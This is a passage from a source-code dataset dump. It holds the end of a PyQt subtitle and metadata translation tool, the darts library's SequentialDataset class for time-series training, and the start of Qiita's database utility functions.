self.choice_preset.removeItem(self.choice_preset.count())\n\n def Main_lang(self):\n Outputlist = []\n for i in range(1, self.comboBox.row_num):\n if self.comboBox.qCheckBox[i].isChecked() == True:\n Outputlist.append(self.comboBox.qCheckBox[i].text())\n self.comboBox.Selectedrow_num = len(Outputlist)\n self.mainornot.clear()\n self.mainornot.addItem(\"\")\n self.mainornot.setItemText(0, _translate(\"MainWindow\", '指定主要语言'))\n for i in range(len(Outputlist)):\n self.mainornot.addItem(\"\")\n self.mainornot.setItemText(i + 1, _translate(\"MainWindow\", Outputlist[i]))\n # self.Preset_show()\n self.mainornot.setCurrentIndex(self.mainornot.findText(self.main_lang))\n\n def Preset_show(self):\n for i in range(1, self.choice_preset.count()+1):\n self.choice_preset.removeItem(i)\n # print('remove', i)\n if os.path.exists('preset.csv') is True:\n with open('preset.csv', 'r', encoding='utf-8') as f:\n reader = csv.reader(f)\n i = 1\n for row in reader:\n if row == []:\n # print('reach the end')\n break\n # print('preset name is:', row[0])\n self.choice_preset.addItem(\"\")\n # print('add', i)\n self.choice_preset.setItemText(i, _translate(\"MainWindow\", row[0]))\n i += 1\n self.preset_num = i\n # print(self.choice_preset.count())\n\n for j in range(i, self.choice_preset.count()+1):\n self.choice_preset.removeItem(j)\n # print('resub', j)\n # print(self.choice_preset.count())\n\n def Choice_srt(self): # 选择字幕文件\n # filename要变为self.caption_file\n filename = QFileDialog.getOpenFileName(self, '.srt', 'd:')\n self.filepath = filename[0]\n filename = filename[0].split('/')[-1]\n self.srt_file_con.setText(filename)\n\n def Choice_audio(self): # 选择音频文件\n # filename要变为self.audio_track_file\n filename = QFileDialog.getOpenFileName(self, 'd:')\n filename = filename[0].split('/')[-1]\n self.audio_file_con.setText(filename)\n\n def LangList_change(self):\n trans_index = self.choice_trans.currentIndex()\n if trans_index == 1:\n print('yes')\n self.comboBox.qListWidget.clear()\n # for i in range(1, 129):\n # self.comboBox.removeItem(i)\n itemList = ['英语en', '韩语kor', '泰语th', '葡萄牙语pt', '希腊语el', '保加利亚语bul', '芬兰语fin',\n '斯洛文尼亚slo', '法语fra', '阿拉伯语ara', '德语de', '荷兰语nl', '爱沙尼亚语est',\n '捷克语cs', '瑞典语swe', '越南语vie', '日语jp', '西班牙语spa', '俄语ru',\n '意大利语it', '波兰语pl', '丹麦语dan', '罗马尼亚语rom', '匈牙利语hul']\n # j = 1\n # for item in itemList:\n # self.comboBox.addItem(\"\")\n # self.comboBox.setItemText(j, _translate(\"MainWindow\", item))\n # j += 1\n self.combpBox = ComboCheckBox(itemList)\n self.comboBox.setObjectName(\"comboBox\")\n font = QtGui.QFont()\n font.setPointSize(10)\n self.comboBox.setFont(font)\n self.gridLayout.addWidget(self.comboBox, 3, 2, 1, 1)\n\n # self.comboBox.items = itemList\n # for i in range(1, len(itemList)):\n # print(i)\n # # self.comboBox.qCheckBox.append(QCheckBox())\n # # qItem = QListWidgetItem(self.comboBox.qListWidget)\n # # self.comboBox.qCheckBox[i].setText(self.comboBox.items[i])\n # # self.comboBox.qListWidget.setItemWidget(qItem, self.comboBox.qCheckBox[i])\n # self.comboBox.addQCheckBox(i)\n # self.comboBox.qCheckBox[i].stateChanged.connect(self.show)\n # self.comboBox.qCheckBox[0].stateChanged.connect(self.comboBox.All)\n #\n # self.comboBox.setModel(self.comboBox.qListWidget.model())\n # self.comboBox.setView(self.comboBox.qListWidget)\n # self.comboBox.setLineEdit(self.comboBox.qLineEdit)\n # self.comboBox.show()\n\n def translateGoogle(self, content, toLang, fromLang):\n # fromLang = fromLang\n q = content\n if self.trans_method == 'Google':\n print(\"google!\")\n result = self.trans.translate(q, dest=toLang, src=fromLang).text\n return result\n elif self.trans_method == 'Baidu':\n\n\n print(\"baidu!\")\n salt = str(random.randint(32768, 65536))\n sign = appid + content + salt + secretKey\n sign = hashlib.md5(sign.encode(\"utf-8\")).hexdigest()\n myurl = '/api/trans/vip/translate' + '?appid=' + appid + '&q=' + urllib.parse.quote(\n q) + '&from=' + fromLang + '&to=' + toLang + '&salt=' + str(salt) + '&sign=' + sign\n try:\n httpClient = http.client.HTTPConnection('api.fanyi.baidu.com')\n httpClient.request('GET', myurl)\n response = httpClient.getresponse()\n result_all = response.read().decode('utf-8')\n result = json.loads(result_all)\n dst = str(result[\"trans_result\"][0][\"dst\"])\n for i in range(1, len(result[\"trans_result\"])):\n dst += '\\n'\n dst += result[\"trans_result\"][i][\"dst\"]\n return dst\n except Exception as e:\n print(e)\n\n def save_csv(self, title, date, data):\n file_name = date + '-' + title + '.csv'\n #\n # if int(time.strftime('%H')) >= 14:\n #\n # file_name = date + 'pm' + '.csv'\n # else:\n # file_name = date + 'am' + '.csv'\n if os.path.exists(file_name) is False:\n header = ['video_id', 'is_primary_language', 'language', 'title', 'description', 'keywords', 'caption_file',\n 'audio_track_file', 'audio_content_type']\n with open(file_name, 'w', encoding='utf-8', newline='') as f:\n writer = csv.writer(f)\n writer.writerow(header)\n for i in range(len(data)):\n writer.writerow(data[i])\n else:\n with open(file_name, 'a', encoding='utf-8', newline='') as f:\n writer = csv.writer(f)\n for i in range(len(data)):\n writer.writerow(data[i])\n\n def save_srt(self, title, srt_name, language, lang_org):\n srt_after_name = title + '_' + language + '.srt'\n self.trans = Translator(service_urls=['translate.google.cn'])\n with open(srt_name, encoding='utf-8') as file_obj:\n self.line_count = len(file_obj.readlines())\n with open(srt_name, encoding='utf-8') as file_obj:\n with open(srt_after_name, 'w', encoding='utf-8-sig') as srt_after:\n self.line_index = 0\n interval = 4\n for line in file_obj:\n line = line.strip()\n if self.line_index == 0:\n if line[-1] != '1':\n print('no number line!')\n interval = 3\n self.line_count = (self.line_count + 1) / interval\n\n self.progressDialog.setWindowTitle(\"进度提示\")\n self.progressDialog.setLabelText(srt_after_name + ' 生成中...')\n # self.progressDialog.setCancelButtonText('取消')\n self.progressDialog.setMaximum(self.line_count)\n self.progressDialog.open(lambda: print('对话框被取消'))\n\n if self.line_index % 200 == 0:\n self.trans = Translator(service_urls=['translate.google.cn'])\n\n if self.line_index % interval == 2:\n line = re.sub(\"<[^>]*>\", \"\", line)\n line = re.sub(\"{[^}]*}\", \"\", line)\n if line == '':\n line_after = '\\n'\n # print('line %d is empty' %(self.line_index))\n else:\n line_after = self.translateGoogle(line, toLang=language, fromLang=lang_org) + '\\n'\n srt_after.writelines(line_after)\n else:\n srt_after.writelines(line + '\\n')\n self.line_index += 1\n self.progressDialog.setValue(int(self.line_index / 4) + self.line_index % 4)\n return srt_after_name\n\n def key_trans(self, key_orign, language, lang_org):\n key_list = re.split('[,]', key_orign)\n if len(key_list) == 1:\n key_list = re.split(re.compile(r'\\,'), key_orign)\n key_result = ''\n key_trans = ''\n for item in key_list:\n key_result += item\n key_result += '|'\n key_trans += self.translateGoogle(item, 'en', lang_org)\n key_trans += '|'\n key_result += key_trans\n key_result = key_result.rstrip('|')\n # print(key_result)\n return key_result\n\n def ProgressBar(self, file_name):\n self.progressDialog.setWindowTitle(\"进度提示\")\n self.progressDialog.setLabelText(file_name + ' 生成中...')\n # self.progressDialog.setCancelButtonText('取消')\n self.progressDialog.setMaximum(int(self.line_count))\n self.progressDialog.setAutoClose(True)\n self.progressDialog.setAutoReset(True)\n\n def DataSyn(self):\n trans_index = self.choice_trans.currentIndex()\n self.trans_method = self.choice_trans.itemText(trans_index)\n\n lang_select_after = self.comboBox.Selectlist()\n lang_num = len(lang_select_after)\n # print('lang_num is:', lang_num)\n\n self.data = [[0 for col in range(9)] for row in range(lang_num)] # 大小为n*m列表\n for i in range(lang_num):\n lang_select_after[i] = re.sub(u\"([^\\u0041-\\u007a])\", \"\", lang_select_after[i])\n if lang_select_after[i] == 'zhtw':\n lang_select_after[i] = 'zh-tw'\n if self.trans_method == 'Baidu':\n if lang_select_after[i] in lang_dict:\n lang_select_after[i] = lang_dict[lang_select_after[i]]\n else:\n lang_select_after[i] = lang_select_after[0:2]\n self.data[i][2] = lang_select_after[i]\n\n # print('select lang are:', lang_select_after)\n\n lang_index = self.lang_choice.currentIndex()\n lang_org = self.lang_choice.itemText(lang_index)[2:]\n\n # video_id\n video_id_temp = self.video_id_con.text()\n\n # is_primary_language\n main_lang_index = self.mainornot.currentIndex()\n self.main_lang = self.mainornot.itemText(main_lang_index)\n main_lang = re.sub(u\"([^\\u0041-\\u007a])\", \"\", self.main_lang)\n if main_lang_index == 0:\n main_lang = ''\n # print(main_lang)\n for i in range(lang_num):\n # print(lang_select_after[i])\n if lang_select_after[i] == main_lang:\n self.data[i][1] = 'yes'\n else:\n self.data[i][1] = 'no'\n\n # title\n title_orign = self.title_con.text()\n for i in range(lang_num):\n self.data[i][3] = self.translateGoogle(self.title_con.text(), lang_select_after[i], lang_org)\n\n # description 选填\n if self.desc_con.toPlainText() == '':\n for i in range(lang_num): self.data[i][4] = ''\n else:\n for i in range(lang_num):\n self.data[i][4] = self.translateGoogle(self.desc_con.toPlainText(), lang_select_after[i], lang_org)\n\n # keywords 选填\n if self.key_con.text() == '':\n for i in range(lang_num): self.data[i][5] = ''\n else:\n for i in range(lang_num):\n self.data[i][5] = self.key_trans(self.key_con.text(), lang_select_after[i], lang_org)\n\n # caption_file\n srt_file_original = self.srt_file_con.text()\n if srt_file_original == '':\n for i in range(lang_num): self.data[i][6] = ''\n else:\n for i in range(lang_num):\n # self.trans = Translator(service_urls=['translate.google.cn'])\n self.data[i][6] = self.save_srt(title_orign, self.filepath, lang_select_after[i], lang_org)\n if i == lang_num - 1:\n self.progressDialog.reset()\n\n # audio_track_file\n if self.audio_file_con == '':\n audio_file_con_temp = ''\n else:\n audio_file_con_temp = self.audio_file_con.text()\n\n # audio_content_type\n audio_index = self.audio_choice.currentIndex()\n audio_content_type_temp = self.audio_choice.itemText(audio_index)\n if audio_index == 0:\n audio_content_type_temp = ''\n for i in range(lang_num):\n self.data[i][0] = video_id_temp\n self.data[i][7] = audio_file_con_temp\n self.data[i][8] = audio_content_type_temp\n\n # self.Preset_show()\n # self.choice_preset.removeItem(self.choice_preset.count())\n for j in range(self.preset_num, self.choice_preset.count() + 1):\n self.choice_preset.removeItem(j)\n\n self.save_csv(title_orign, time.strftime('%F'), self.data)\n QMessageBox.information(self, \"提示\", \"翻译文件已生成。\")\n\n\n##################################################\n\n\napp = QtWidgets.QApplication(sys.argv)\nwindow = Mywindow()\nwindow.show()\nsys.exit(app.exec_())\n","sub_path":"YBtrans_google.py","file_name":"YBtrans_google.py","file_ext":"py","file_size_in_byte":18212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"41668610","text":"\"\"\"\nSequential Training Dataset\n---------------------------\n\"\"\"\n\nfrom typing import Union, Sequence, Optional, Tuple\nimport numpy as np\n\nfrom ...timeseries import TimeSeries\nfrom .timeseries_dataset import TrainingDataset\n\nfrom ..utils import raise_if_not\n\n\nclass SequentialDataset(TrainingDataset):\n def __init__(self,\n target_series: Union[TimeSeries, Sequence[TimeSeries]],\n covariates: Optional[Union[TimeSeries, Sequence[TimeSeries]]] = None,\n input_chunk_length: int = 12,\n output_chunk_length: int = 1,\n max_samples_per_ts: Optional[int] = None):\n \"\"\"\n A time series dataset containing tuples of (input, output, input_covariates) arrays, where \"input\" and\n \"input_covariates\" have length `input_chunk_length`, and \"output\" has length `output_chunk_length`.\n\n The target and covariates series are sliced together, and therefore must have the same length.\n In addition, each series must be long enough to contain at least one (input, output) pair; i.e., each\n series must have length at least `input_chunk_length + output_chunk_length`.\n If these conditions are not satisfied, an error will be raised when trying to access some of the splits.\n\n The sampling is uniform over the number of time series; i.e., the i-th sample of this dataset has\n a probability 1/N of coming from any of the N time series in the sequence. If the time series have different\n lengths, they will contain different numbers of slices. Therefore, some particular slices may\n be sampled more often than others if they belong to shorter time series.\n\n The recommended use of this class is to either build it from a list of `TimeSeries` (if all your series fit\n in memory), or implement your own `Sequence` of time series.\n\n Parameters\n ----------\n target_series\n One or a sequence of target `TimeSeries`.\n covariates:\n Optionally, one or a sequence of `TimeSeries` containing covariates. If this parameter is set,\n the provided sequence must have the same length as that of `target_series`.\n input_chunk_length\n The length of the emitted input series.\n output_chunk_length\n The length of the emitted output series.\n max_samples_per_ts\n This is an upper bound on the number of (input, output, input_covariates) tuples that can be produced\n per time series. It can be used in order to have an upper bound on the total size of the dataset and\n ensure proper sampling. If `None`, it will read all of the individual time series in advance (at dataset\n creation) to know their sizes, which might be expensive on big datasets.\n If some series turn out to have a length that would allow more than `max_samples_per_ts`, only the\n most recent `max_samples_per_ts` samples will be considered.\n \"\"\"\n super().__init__()\n\n self.target_series = [target_series] if isinstance(target_series, TimeSeries) else target_series\n self.covariates = [covariates] if isinstance(covariates, TimeSeries) else covariates\n\n raise_if_not(covariates is None or len(self.target_series) == len(self.covariates),\n 'The provided sequence of target series must have the same length as '\n 'the provided sequence of covariate series.')\n\n self.input_chunk_length, self.output_chunk_length = input_chunk_length, output_chunk_length\n self.max_samples_per_ts = max_samples_per_ts\n\n if self.max_samples_per_ts is None:\n # read all time series to get the maximum size\n self.max_samples_per_ts = max(len(ts) for ts in self.target_series) - \\\n self.output_chunk_length - self.input_chunk_length + 1\n\n self.ideal_nr_samples = len(self.target_series) * self.max_samples_per_ts\n\n def __len__(self):\n return self.ideal_nr_samples\n\n def __getitem__(self, idx: int) -> Tuple[np.ndarray, np.ndarray, Optional[np.ndarray]]:\n # determine the index of the time series.\n ts_idx = idx // self.max_samples_per_ts\n ts_target = self.target_series[ts_idx].values(copy=False)\n\n # determine the actual number of possible samples in this time series\n n_samples_in_ts = len(ts_target) - self.input_chunk_length - self.output_chunk_length + 1\n\n raise_if_not(n_samples_in_ts >= 1,\n 'The dataset contains some time series that are too short to contain '\n '`input_chunk_length + `output_chunk_length` ({}-th series)'.format(ts_idx))\n\n # Determine the index of the forecasting point.\n # It is originally in [0, self.max_samples_per_ts), so we use a modulo to have it in [0, n_samples_in_ts)\n lh_idx = (idx - (ts_idx * self.max_samples_per_ts)) % n_samples_in_ts\n\n # The time series index of our forecasting point (indexed from the end of the series):\n forecast_point_idx = self.output_chunk_length + lh_idx\n\n # select input and outputs, using the previously computed indexes\n input_target = ts_target[-(forecast_point_idx + self.input_chunk_length):-forecast_point_idx]\n if forecast_point_idx == self.output_chunk_length:\n # we need this case because \"-0\" is not supported as an indexing bound\n output_target = ts_target[-forecast_point_idx:]\n else:\n output_target = ts_target[-forecast_point_idx:-forecast_point_idx + self.output_chunk_length]\n\n # optionally also produce the input covariate\n input_covariate = None\n if self.covariates is not None:\n ts_covariate = self.covariates[ts_idx].values(copy=False)\n\n raise_if_not(len(ts_covariate) == len(ts_target),\n 'The dataset contains some target/covariate series '\n 'pair that are not the same size ({}-th)'.format(ts_idx))\n\n input_covariate = ts_covariate[-(forecast_point_idx + self.input_chunk_length):-forecast_point_idx]\n\n return input_target, output_target, input_covariate\n","sub_path":"darts/utils/data/sequential_dataset.py","file_name":"sequential_dataset.py","file_ext":"py","file_size_in_byte":6241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"323954142","text":"r\"\"\"\nUtil functions (:mod: `qiita_db.util`)\n======================================\n\n..currentmodule:: qiita_db.util\n\nThis module provides different util functions.\n\nMethods\n-------\n\n..autosummary::\n :toctree: generated/\n\n quote_data_value\n scrub_data\n exists_table\n exists_dynamic_table\n get_db_files_base_dir\n compute_checksum\n insert_filepaths\n check_table_cols\n check_required_columns\n convert_from_id\n convert_to_id\n\"\"\"\n# -----------------------------------------------------------------------------\n# Copyright (c) 2014--, The Qiita Development Team.\n#\n# Distributed under the terms of the BSD 3-clause License.\n#\n# The full license is in the file LICENSE, distributed with this software.\n# -----------------------------------------------------------------------------\n\nfrom __future__ import division\nfrom future.builtins import zip\nfrom random import choice\nfrom string import ascii_letters, digits, punctuation\nfrom binascii import crc32\nfrom bcrypt import hashpw, gensalt\nfrom functools import partial\nfrom os.path import join, basename, isdir, relpath\nfrom os import walk\nfrom shutil import move\nfrom json import dumps\n\nfrom qiita_core.exceptions import IncompetentQiitaDeveloperError\nfrom qiita_core.qiita_settings import qiita_config\nfrom .exceptions import QiitaDBColumnError\nfrom .sql_connection import SQLConnectionHandler\n\n\ndef params_dict_to_json(options):\n \"\"\"Convert a dict of parameter key-value pairs to JSON string\n\n Parameters\n ----------\n options : dict\n The dict of options\n \"\"\"\n return dumps(options, sort_keys=True, separators=(',', ':'))\n\n\ndef scrub_data(s):\n r\"\"\"Scrubs data fields of characters not allowed by PostgreSQL\n\n disallowed characters:\n ' ;\n\n Parameters\n ----------\n s : str\n The string to clean up\n\n Returns\n -------\n str\n The scrubbed string\n \"\"\"\n ret = s.replace(\"'\", \"\")\n ret = ret.replace(\";\", \"\")\n return ret\n\n\ndef typecast_string(string):\n \"\"\"Converts a string to a number if possible\n\n Parameters\n ----------\n string : str\n String to evaluate\n\n Returns\n -------\n float, int, or str\n Re-typed information from string\n\n Notes\n -----\n The function first tries to convert to an int. If that fails, it tries to\n convert to a float. If that fails it returns the original string.\n \"\"\"\n try:\n return int(string)\n except ValueError:\n try:\n return float(string)\n except ValueError:\n return string\n\n\ndef get_filetypes(key='type'):\n \"\"\"Gets the list of possible filetypes from the filetype table\n\n Parameters\n ----------\n key : {'type', 'filetype_id'}, optional\n Defaults to \"type\". Determines the format of the returned dict.\n\n Returns\n -------\n dict\n If `key` is \"type\", dict is of the form {type: filetype_id}\n If `key` is \"filetype_id\", dict is of the form {filetype_id: type}\n \"\"\"\n con = SQLConnectionHandler()\n if key == 'type':\n cols = 'type, filetype_id'\n elif key == 'filetype_id':\n cols = 'filetype_id, type'\n else:\n raise QiitaDBColumnError(\"Unknown key. Pass either 'type' or \"\n \"'filetype_id'.\")\n sql = 'select {} from qiita.filetype'.format(cols)\n return dict(con.execute_fetchall(sql))\n\n\ndef get_filepath_types(key='filepath_type'):\n \"\"\"Gets the list of possible filepath types from the filetype table\n\n Parameters\n ----------\n key : {'filepath_type', 'filepath_type_id'}, optional\n Defaults to \"filepath_type\". Determines the format of the returned\n dict.\n\n Returns\n -------\n dict\n - If `key` is \"filepath_type\", dict is of the form\n {filepath_type: filepath_type_id}\n - If `key` is \"filepath_type_id\", dict is of the form\n {filepath_type_id: filepath_type}\n \"\"\"\n con = SQLConnectionHandler()\n if key == 'filepath_type':\n cols = 'filepath_type, filepath_type_id'\n elif key == 'filepath_type_id':\n cols = 'filepath_type_id, filepath_type'\n else:\n raise QiitaDBColumnError(\"Unknown key. Pass either 'filepath_type' or \"\n \"'filepath_type_id'.\")\n sql = 'select {} from qiita.filepath_type'.format(cols)\n return dict(con.execute_fetchall(sql))\n\n\ndef get_data_types(key='data_type'):\n \"\"\"Gets the list of possible data types from the data_type table\n\n Parameters\n ----------\n key : {'data_type', 'data_type_id'}, optional\n Defaults to \"data_type\". Determines the format of the returned dict.\n\n Returns\n -------\n dict\n - If `key` is \"data_type\", dict is of the form\n {data_type: data_type_id}\n - If `key` is \"data_type_id\", dict is of the form\n {data_type_id: data_type}\n \"\"\"\n con = SQLConnectionHandler()\n if key == 'data_type':\n cols = 'data_type, data_type_id'\n elif key == 'data_type_id':\n cols = 'data_type_id, data_type'\n else:\n raise QiitaDBColumnError(\"Unknown key. Pass either 'data_type_id' or \"\n \"'data_type'.\")\n sql = 'select {} from qiita.data_type'.format(cols)\n return dict(con.execute_fetchall(sql))\n\n\ndef get_required_sample_info_status(key='status'):\n \"\"\"Gets the list of possible required sample info status\n\n Parameters\n ----------\n key : {'status', 'required_sample_info_status_id'}, optional\n Defaults to 'status'. Determines the format of the returned dict.\n\n Returns\n -------\n dict\n - If `key` is \"status\", dict is of the form\n {status: required_sample_info_status_id}\n - If `key` is \"required_sample_info_status_id\", dict is of the form\n {required_sample_info_status_id: status}\n \"\"\"\n con = SQLConnectionHandler()\n if key == 'status':\n cols = 'status, required_sample_info_status_id'\n elif key == 'required_sample_info_status_id':\n cols = 'required_sample_info_status_id, status'\n else:\n raise QiitaDBColumnError(\"Unknown key. Pass either 'status' or \"\n \"'required_sample_info_status_id'\")\n sql = 'select {} from qiita.required_sample_info_status'.format(cols)\n return dict(con.execute_fetchall(sql))\n\n\ndef get_emp_status(key='emp_status'):\n \"\"\"Gets the list of possible emp statuses\n\n Parameters\n ----------\n key : {'emp_status', 'emp_status_id'}, optional\n Defaults to 'status'. Determines the format of the returned dict.\n\n Returns\n -------\n dict\n - If `key` is \"emp_status\", dict is of the form\n {emp_status: emp_status_id}\n - If `key` is \"emp_status_id\", dict is of the form\n {emp_status_id: emp_status}\n \"\"\"\n con = SQLConnectionHandler()\n if key == 'emp_status':\n cols = 'emp_status, emp_status_id'\n elif key == 'emp_status_id':\n cols = 'emp_status_id, emp_status'\n else:\n raise QiitaDBColumnError(\"Unknown key. Pass either 'emp_status' or \"\n \"'emp_status_id'\")\n sql = 'select {} from qiita.emp_status'.format(cols)\n return dict(con.execute_fetchall(sql))\n\n\ndef create_rand_string(length, punct=True):\n \"\"\"Returns a string of random ascii characters\n\n Parameters\n ----------\n length: int\n Length of string to return\n punct: bool, optional\n Include punctiation as well as letters and numbers. Default True.\n \"\"\"\n chars = ''.join((ascii_letters, digits))\n if punct:\n chars = ''.join((chars, punctuation))\n return ''.join(choice(chars) for i in range(length))\n\n\ndef hash_password(password, hashedpw=None):\n \"\"\" Hashes password\n\n Parameters\n ----------\n password: str\n Plaintext password\n hashedpw: str, optional\n Previously hashed password for bcrypt to pull salt from. If not\n given, salt generated before hash\n\n Returns\n -------\n str\n Hashed password\n\n Notes\n -----\n Relies on bcrypt library to hash passwords, which stores the salt as\n part of the hashed password. Don't need to actually store the salt\n because of this.\n \"\"\"\n # all the encode/decode as a python 3 workaround for bcrypt\n if hashedpw is None:\n hashedpw = gensalt()\n else:\n hashedpw = hashedpw.encode('utf-8')\n password = password.encode('utf-8')\n output = hashpw(password, hashedpw)\n if isinstance(output, bytes):\n output = output.decode(\"utf-8\")\n return output\n\n\ndef check_required_columns(conn_handler, keys, table):\n \"\"\"Makes sure all required columns in database table are in keys\n\n Parameters\n ----------\n conn_handler: SQLConnectionHandler object\n Previously opened connection to the database\n keys: iterable\n Holds the keys in the dictionary\n table: str\n name of the table to check required columns\n\n Raises\n ------\n QiitaDBColumnError\n If keys exist that are not in the table\n RuntimeError\n Unable to get columns from database\n \"\"\"\n sql = (\"SELECT is_nullable, column_name, column_default \"\n \"FROM information_schema.columns \"\n \"WHERE table_name = %s\")\n cols = conn_handler.execute_fetchall(sql, (table, ))\n # Test needed because a user with certain permissions can query without\n # error but be unable to get the column names\n if len(cols) == 0:\n raise RuntimeError(\"Unable to fetch column names for table %s\" % table)\n required = set(x[1] for x in cols if x[0] == 'NO' and x[2] is None)\n if len(required.difference(keys)) > 0:\n raise QiitaDBColumnError(\"Required keys missing: %s\" %\n required.difference(keys))\n\n\ndef check_table_cols(conn_handler, keys, table):\n \"\"\"Makes sure all keys correspond to column headers in a table\n\n Parameters\n ----------\n conn_handler: SQLConnectionHandler object\n Previously opened connection to the database\n keys: iterable\n Holds the keys in the dictionary\n table: str\n name of the table to check column names\n\n Raises\n ------\n QiitaDBColumnError\n If a key is found that is not in table columns\n RuntimeError\n Unable to get columns from database\n \"\"\"\n sql = (\"SELECT column_name FROM information_schema.columns WHERE \"\n \"table_name = %s\")\n cols = [x[0] for x in conn_handler.execute_fetchall(sql, (table, ))]\n # Test needed because a user with certain permissions can query without\n # error but be unable to get the column names\n if len(cols) == 0:\n raise RuntimeError(\"Unable to fetch column names for table %s\" % table)\n if len(set(keys).difference(cols)) > 0:\n raise QiitaDBColumnError(\"Non-database keys found: %s\" %\n set(keys).difference(cols))\n\n\ndef get_table_cols(table, conn_handler=None):\n \"\"\"Returns the column headers of table\n\n Parameters\n ----------\n table : str\n The table name\n conn_handler : SQLConnectionHandler, optional\n The connection handler object connected to the DB\n\n Returns\n -------\n list of str\n The column headers of `table`\n \"\"\"\n conn_handler = conn_handler if conn_handler else SQLConnectionHandler()\n headers = conn_handler.execute_fetchall(\n \"SELECT column_name FROM information_schema.columns WHERE \"\n \"table_name=%s\", (table, ))\n return [h[0] for h in headers]\n\n\ndef get_table_cols_w_type(table, conn_handler=None):\n \"\"\"Returns the column headers and its type\n\n Parameters\n ----------\n table : str\n The table name\n conn_handler : SQLConnectionHandler, optional\n The connection handler object connected to the db\n\n Returns\n -------\n list of tuples of (str, str)\n The column headers and data type of `table`\n \"\"\"\n conn_handler = conn_handler if conn_handler else SQLConnectionHandler()\n return conn_handler.execute_fetchall(\n \"SELECT column_name, data_type FROM information_schema.columns WHERE \"\n \"table_name=%s\", (table,))\n\n\ndef exists_table(table, conn_handler):\n r\"\"\"Checks if `table` exists on the database connected through\n `conn_handler`\n\n Parameters\n ----------\n table : str\n The table name to check if exists\n conn_handler : SQLConnectionHandler\n The connection handler object connected to the DB\n \"\"\"\n return conn_handler.execute_fetchone(\n \"SELECT exists(SELECT * FROM information_schema.tables WHERE \"\n \"table_name=%s)\", (table,))[0]\n\n\ndef exists_dynamic_table(table, prefix, suffix, conn_handler):\n r\"\"\"Checks if the dynamic `table` exists on the database connected through\n `conn_handler`, and its name starts with prefix and ends with suffix\n\n Parameters\n ----------\n table : str\n The table name to check if exists\n prefix : str\n The table name prefix\n suffix : str\n The table name suffix\n conn_handler : SQLConnectionHandler\n The connection handler object connected to the DB\n \"\"\"\n return (table.startswith(prefix) and table.endswith(suffix) and\n exists_table(table, conn_handler))\n\n\ndef get_db_files_base_dir(conn_handler=None):\n r\"\"\"Returns the path to the base directory of all db files\n\n Returns\n -------\n str\n The path to the base directory of all db files\n \"\"\"\n conn_handler = (conn_handler if conn_handler is not None\n else SQLConnectionHandler())\n return conn_handler.execute_fetchone(\n \"SELECT base_data_dir FROM settings\")[0]\n\n\ndef get_work_base_dir(conn_handler=None):\n r\"\"\"Returns the path to the base directory of all db files\n\n Returns\n -------\n str\n The path to the base directory of all db files\n \"\"\"\n conn_handler = (conn_handler if conn_handler is not None\n else SQLConnectionHandler())\n return conn_handler.execute_fetchone(\n \"SELECT base_work_dir FROM settings\")[0]\n\n\ndef compute_checksum(path):\n r\"\"\"Returns the checksum of the file pointed by path\n\n Parameters\n ----------\n path : str\n The path to compute the checksum\n\n Returns\n -------\n int\n The file checksum\n \"\"\"\n crc = 0\n filepaths = []\n if isdir(path):\n for name, dirs, files in walk(path):\n join_f = partial(join, name)\n filepaths.extend(list(map(join_f, files)))\n else:\n filepaths.append(path)\n\n for fp in filepaths:\n with open(fp, \"Ub\") as f:\n # Go line by line so we don't need to load the entire file\n for line in f:\n if crc is None:\n crc = crc32(line)\n else:\n crc = crc32(line, crc)\n # We need the & 0xffffffff in order to get the same numeric value across\n # all python versions and platforms\n return crc & 0xffffffff\n\n\ndef insert_filepaths(filepaths, obj_id, table, filepath_table, conn_handler,\n move_files=True):\n r\"\"\"Inserts `filepaths` in the DB connected with `conn_handler`. Since\n the files live outside the database, the directory in which the files\n lives is controlled by the database, so it copies the filepaths from\n its original location to the controlled directory.\n\n Parameters\n ----------\n filepaths : iterable of tuples (str, int)\n The list of paths to the raw files and its filepath type identifier\n obj_id : int\n Id of the object calling the functions. Disregarded if move_files\n is False\n table : str\n Table that holds the file data. Disregarded if move_files is False\n filepath_table : str\n Table that holds the filepath information\n conn_handler : SQLConnectionHandler\n The connection handler object connected to the DB\n move_files : bool, optional\n Whether or not to copy from the given filepaths to the db filepaths\n default: True\n\n Returns\n -------\n list\n The filepath_id in the database for each added filepath\n \"\"\"\n new_filepaths = filepaths\n base_fp = get_db_files_base_dir()\n if move_files:\n # Get the base directory in which the type of data is stored\n base_data_dir = join(get_db_files_base_dir(), table)\n # Generate the new fileapths. Format: DataId_OriginalName\n # Keeping the original name is useful for checking if the RawData\n # alrady exists on the DB\n db_path = partial(join, base_data_dir)\n new_filepaths = [\n (db_path(\"%s_%s\" % (obj_id, basename(path))), id)\n for path, id in filepaths]\n # Move the original files to the controlled DB directory\n for old_fp, new_fp in zip(filepaths, new_filepaths):\n move(old_fp[0], new_fp[0])\n\n str_to_id = lambda x: (x if isinstance(x, (int, long))\n else convert_to_id(x, \"filepath_type\",\n conn_handler))\n paths_w_checksum = [(relpath(path, base_fp), str_to_id(id),\n compute_checksum(path))\n for path, id in new_filepaths]\n # Create the list of SQL values to add\n values = [\"('%s', %s, '%s', %s)\" % (scrub_data(path), id, checksum, 1)\n for path, id, checksum in paths_w_checksum]\n # Insert all the filepaths at once and get the filepath_id back\n ids = conn_handler.execute_fetchall(\n \"INSERT INTO qiita.{0} (filepath, filepath_type_id, checksum, \"\n \"checksum_algorithm_id) VALUES {1} \"\n \"RETURNING filepath_id\".format(filepath_table,\n ', '.join(values)))\n\n # we will receive a list of lists with a single element on it (the id),\n # transform it to a list of ids\n return [id[0] for id in ids]\n\n\ndef convert_to_id(value, table, conn_handler=None):\n \"\"\"Converts a string value to it's corresponding table identifier\n\n Parameters\n ----------\n value : str\n The string value to convert\n table : str\n The table that has the conversion\n conn_handler : SQLConnectionHandler, optional\n The sql connection object\n\n Returns\n -------\n int\n The id correspinding to the string\n\n Raises\n ------\n IncompetentQiitaDeveloperError\n The passed string has no associated id\n \"\"\"\n conn_handler = conn_handler if conn_handler else SQLConnectionHandler()\n _id = conn_handler.execute_fetchone(\n \"SELECT {0}_id FROM qiita.{0} WHERE {0} = %s\".format(table),\n (value, ))\n if _id is None:\n raise IncompetentQiitaDeveloperError(\"%s not valid for table %s\"\n % (value, table))\n return _id[0]\n\n\ndef convert_from_id(value, table, conn_handler=None):\n \"\"\"Converts an id value to it's corresponding string value\n\n Parameters\n ----------\n value : int\n The id value to convert\n table : str\n The table that has the conversion\n conn_handler : SQLConnectionHandler, optional\n The sql connection 